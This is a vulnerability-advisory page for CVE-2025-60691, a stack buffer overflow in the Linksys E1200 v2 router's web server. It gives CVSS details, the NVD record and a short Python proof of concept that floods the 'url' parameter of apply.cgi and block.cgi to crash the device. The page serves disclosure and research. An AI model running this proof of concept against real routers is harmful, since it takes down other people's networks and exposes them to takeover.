Security Vulnerability Report
中文
CVE-2025-60691 CVSS 8.8 HIGH

CVE-2025-60691

Published: 2025-11-13 17:15:49
Last Modified: 2025-11-17 19:55:23

Description

A stack-based buffer overflow exists in the httpd binary of Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The apply_cgi and block_cgi functions copy user-supplied input from the "url" CGI parameter into stack buffers (v36, v29) using sprintf without bounds checking. Because these buffers are allocated as single-byte variables, any non-empty input will trigger a buffer overflow. Remote attackers can exploit this vulnerability via crafted HTTP requests to execute arbitrary code or cause denial of service without authentication.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linksys:e1200_firmware:2.0.11.001:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:linksys:e1200:2:*:*:*:*:*:*:* - NOT VULNERABLE
Linksys E1200 v2 固件 E1200_v2.0.11.001_us.tar.gz

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-60691 PoC - Linksys E1200 v2 Stack Buffer Overflow # Target: Linksys E1200 v2 router with firmware E1200_v2.0.11.001_us.tar.gz def exploit_cve_2025_60691(target_ip, port=80): """ Exploit for CVE-2025-60691: Stack-based buffer overflow in httpd Affected: Linksys E1200 v2 routers Attack Vector: Crafted HTTP request with oversized 'url' parameter """ # Generate payload - oversized string to trigger buffer overflow # The buffer is declared as single-byte variable, any non-empty input overflows payload_size = 1024 # Payload size to overflow the stack buffer overflow_payload = 'A' * payload_size # Target URLs that trigger vulnerable functions targets = [ f'/apply.cgi?url={overflow_payload}', f'/block.cgi?url={overflow_payload}' ] for target_url in targets: try: url = f'http://{target_ip}:{port}{target_url}' print(f'[*] Sending exploit payload to: {url}') # Send crafted HTTP request response = requests.get(url, timeout=10) print(f'[+] Request sent, status code: {response.status_code}') print('[*] Buffer overflow triggered - check device for DoS or code execution') except requests.exceptions.Timeout: print('[-] Request timed out - device may be unresponsive (DoS successful)') except requests.exceptions.ConnectionError: print('[-] Connection failed - device may be down') except Exception as e: print(f'[-] Error: {str(e)}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve-2025-60691.py <target_ip>') sys.exit(1) target_ip = sys.argv[1] exploit_cve_2025_60691(target_ip)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60691", "sourceIdentifier": "[email protected]", "published": "2025-11-13T17:15:49.117", "lastModified": "2025-11-17T19:55:22.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow exists in the httpd binary of Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The apply_cgi and block_cgi functions copy user-supplied input from the \"url\" CGI parameter into stack buffers (v36, v29) using sprintf without bounds checking. Because these buffers are allocated as single-byte variables, any non-empty input will trigger a buffer overflow. Remote attackers can exploit this vulnerability via crafted HTTP requests to execute arbitrary code or cause denial of service without authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e1200_firmware:2.0.11.001:*:*:*:*:*:*:*", "matchCriteriaId": "2461F974-2121-490C-A6CD-18B006070679"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e1200:2:*:*:*:*:*:*:*", "matchCriteriaId": "4B14B800-5FCA-4E2B-A42B-EBE6EEC8FBB1"}]}]}], "references": [{"url": "http://linksys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/Linksys/Linksys-E1200/CVE-2025-60691.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linksys.com/", "source": "[email protected]", "tags": ["Product"]}]}}